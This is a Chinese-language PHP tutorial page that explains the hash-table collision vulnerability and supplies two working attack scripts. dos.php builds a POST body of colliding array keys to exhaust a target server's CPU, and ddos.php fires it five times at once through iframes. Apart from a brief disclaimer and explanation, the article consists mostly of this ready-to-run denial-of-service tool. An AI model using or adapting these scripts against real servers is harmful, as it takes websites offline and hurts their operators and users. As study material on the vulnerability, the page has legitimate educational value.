PHP利用hash冲突漏洞进行DDoS攻击的方法分析
发布:smiling 来源: PHP粉丝网 添加日期:2021-05-18 20:25:29 浏览: 评论:0
本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法,分享给大家供大家参考,具体分析如下:
首先声明:本文内容只用于研究学习使用,请勿用于非法行为!
前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。
攻击原理:
通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。
文件:dos.php
- // 目标地址
- // 只要目标地址存在,不用管它是干嘛的
- $host = 'http://127.0.0.1/test.php';
- $data = '';
- $size = pow(2, 15);
- for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
- {
- $data .= '&array[' . $key . ']=0';
- }
- $ret = curl($host, ltrim($data,'&'));
- var_dump($ret);
- function curl($url, $post, $timeout = 30){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
- $output = curl_exec($ch);
- if ($output === false) return false;
- $info = curl_getinfo($ch);
- $http_code = $info['http_code'];
- if ($http_code == 404) return false;
- curl_close($ch);
- return $output;
- }
文件:ddos.php
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
- <title>DDOS</title>
- </head>
- <body>
- <?php
- for($i=0; $i<5; $i++){//并发数
- echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';
- }
- ?>
- </body>
- </html>
Tags: hash DDoS
- 上一篇:php取得字符串首字母的方法
- 下一篇:PHP中实现crontab代码分享
相关文章
- ·利用PHP实现Hash表功能(2015-12-12)
- ·如何使用hash check来检查当前密码?(Laravel 5.3中)(2020-02-07)
- ·php中hashtable实现示例分享(2020-09-09)
- ·php的hash算法介绍(2020-09-09)
- ·PHP中对各种加密算法、Hash算法的速度测试对比代码(2021-03-14)
- ·memcache一致性hash的php实现方法(2021-05-15)
- ·PHP Hash算法:Times33算法代码实例(2021-05-26)
- ·PHP实现的一致性HASH算法示例(2021-09-05)
- ·PHP实现恶意DDOS攻击避免带宽占用问题方法(2021-05-27)
推荐文章
热门文章
最新评论文章
- 写给考虑创业的年轻程序员(10)
- PHP新手上路(一)(7)
- 惹恼程序员的十件事(5)
- PHP邮件发送例子,已测试成功(5)
- 致初学者:PHP比ASP优秀的七个理由(4)
- PHP会被淘汰吗?(4)
- PHP新手上路(四)(4)
- 如何去学习PHP?(2)
- 简单入门级php分页代码(2)
- php中邮箱email 电话等格式的验证(2)